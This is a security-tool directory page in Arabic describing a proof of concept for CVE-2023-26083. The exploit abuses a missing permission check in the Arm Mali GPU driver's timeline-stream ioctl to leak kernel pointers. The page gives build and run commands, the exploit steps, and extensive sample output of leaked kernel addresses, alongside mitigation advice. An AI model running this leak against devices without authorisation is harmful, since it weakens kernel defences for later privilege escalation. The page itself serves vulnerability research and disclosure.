Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
أدوات/GitHubGitHub/noverisp3/cve-2023-26083
Vulnerability AnalysisExploitationInformation GatheringHardware & IoT SecurityLearning & EducationBinary Exploitation
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-26083 – تسريب عناوين نواة Mali GPU عبر تيار الجدول الزمني (Timeline Stream)

يحتوي هذا المستودع على إثبات مفهوم (PoC) لثغرة CVE-2023-26083، وهي ثغرة في برنامج تشغيل Mali GPU (Arm Mali GPU Kernel Driver) تسمح لمستخدم غير مميز بتسريب مؤشرات النواة ومعلومات داخلية حساسة عبر تيار الجدول الزمني (/dev/mali0).

نظرة عامة على الثغرة

يوفر برنامج تشغيل Mali GPU ميزة "تيار الجدول الزمني" (tlstream) لأغراض التنميط والتصحيح. يقوم هذا التيار بتصدير أحداث تحتوي على مؤشرات نواة خام (مثل عناوين kbase_context وkbase_gpu وkbase_lpu ومسافات العناوين والذرات وغيرها). عادةً، يتطلب الوصول إلى هذا التيار وجود العلامة BASE_CONTEXT_CREATE_FLAG_MONITOR. ولكن بسبب عدم وجود فحص للصلاحية في معالج KBASE_IOCTL_TLSTREAM_ACQUIRE، يمكن لأي عملية (حتى بدون علامة المراقبة) الحصول على مؤشر ملف (file descriptor) لتيار الجدول الزمني وقراءة عناوين ذاكرة النواة.

التأثير:

  • تسريب مؤشرات النواة يبطل فعالية KASLR.
  • عند دمجه مع ثغرات أخرى (مثل use-after-free، الكتابة العشوائية)، يمكن أن يؤدي إلى رفع الامتيازات أو تنفيذ كود تعسفي في النواة.
  • التسريب بحد ذاته يكشف الحالة الداخلية لبرنامج التشغيل ويمكن استخدامه لبصمة النظام.

الإصدارات المتأثرة

  • إصدارات Arm Mali GPU Kernel Driver قبل التصحيح الخاص بـ CVE-2023-26083.

البناء والتشغيل

المتطلبات

  • جهاز مزود بمعالج Mali GPU (مثل Exynos، MediaTek، بعض شرائح Rockchip).
  • الوصول الجذري (root) غير مطلوب – يعمل PoC كمستخدم غير مميز.
  • يجب أن تكون النواة تحتوي على برنامج تشغيل Mali مدمجًا أو كوحدة (/dev/mali0 يجب أن يكون موجودًا).

الترجمة

نظرًا لأن الكود مستقل بذاته، يمكنك بسهولة ترجمته عبر الترجمة المتقاطعة باستخدام أدوات قياسية.

1. لنظام Android (موصى به)

استخدم سلسلة أدوات Android NDK للترجمة لأجهزة ARM64. يوصى بشدة باستخدام الربط الثابت (static linking) لمنع مشاكل توافق المحمل الديناميكي على إصدارات Android المختلفة:

root@kitploit:~
aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c

2. لأجهزة سطح المكتب/اللوحات التي تعمل بنظام Linux على ARM

إذا كنت تختبر على لوحة تطوير ARM (مثل Raspberry Pi أو Odroid) تحتوي على Mali GPU وتعمل بتوزيعة Linux قياسية:

root@kitploit:~
gcc -static -o mali_tlstream_leak mali_tlstream_leak.c

التنفيذ

root@kitploit:~
./mali_tlstream_leak

البرنامج سيقوم بما يلي:

  1. فتح /dev/mali0.
  2. إجراء فحص الإصدار.
  3. تعيين العلامات إلى BASE_CONTEXT_CREATE_FLAG_NONE (بدون صلاحية مراقبة).
  4. الحصول على تيار الجدول الزمني (ioctl الثغرة).
  5. قراءة حزم الجدول الزمني لبضع ثوانٍ.
  6. تحليل وعرض تسريبات مؤشرات النواة (موسومة بـ *** KERNEL).

مثال على المخرجات

ملاحظة: تم اختبار إثبات المفهوم (PoC) هذا فقط على Samsung Galaxy J7 Prime يعمل بنظام Android 8.1.0 (نواة 3.18) بمستوى تصحيح أمني بتاريخ 1 أبريل 2020.

root@kitploit:~
on7xelte:/data/local/tmp $ ./mali_tlstream_leak
Version: major=11 minor=5
SET_FLAGS ok
TLSTREAM_ACQUIRE ok, tlfd=4
Read 3805 bytes from tlstream (total=3805)

Raw hex dump (3805 bytes):

0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54

Parsing packets:

Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0

Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
  [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
  [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
  [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
  [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
  [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
  [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
  [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
  [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
  [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
  [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
  [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
  [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
  [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
  [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
  [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
  [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
  [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
  [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
  [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
  [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
  [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
  [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
  [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
  [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
  [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
  [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
  [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613

كما هو موضح، يقوم PoC بنجاح بتسريب عدة عناوين نواة:

  • كائنات LPU (وحدة معالجة منطقية)
  • كائنات مساحة العنوان (AS)
  • كائن GPU
  • كائنات السياق (kbase_context)

شرح الكود

الخطوات الرئيسية هي:

  1. فتح /dev/mali0 – واجهة جهاز Mali القياسية.
  2. KBASE_IOCTL_VERSION_CHECK – مطلوب لتهيئة سياق برنامج التشغيل.
  3. KBASE_IOCTL_SET_FLAGS – تعيين create_flags إلى BASE_CONTEXT_CREATE_FLAG_NONE (بدون صلاحية مراقبة).
    هذا يجب أن يمنع الوصول إلى tlstream عادةً، لكن الثغرة تسمح بتجاوزه.
  4. KBASE_IOCTL_TLSTREAM_ACQUIRE – الحصول على مؤشر ملف جديد لتيار الجدول الزمني.
    على الرغم من عدم وجود علامة المراقبة، يعيد ioctl مؤشر ملف صالح.
  5. read() – قراءة حزم الجدول الزمني الخام.
  6. المحلل (Parser) – فك تشفير رأس الحزمة ورسائل حدث الجدول الزمني، واستخراج مؤشرات النواة.

التخفيف / التصحيح

قم بتحديث نواتك إلى إصدار يتضمن التصحيح لـ CVE-2023-26083.
بدلاً من ذلك، إذا كنت مُصنعًا، قم بتطبيق التصحيح من Arm أو من شجرة النواة المستقرة (Linux kernel stable tree).

إخلاء المسؤولية

هذا الكود مقدم لأغراض تعليمية وبحثية أمنية فقط.
استخدام هذا الاستغلال على أنظمة دون إذن صريح قد ينتهك القوانين السارية. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. استخدمه فقط على الأجهزة التي تملكها أو لديك تفويض كتابي لاختبارها.

المراجع

  • CVE-2023-26083
  • NIST NVD - CVE-2023-26083

المؤلف

Noveris

تنزيل الأداة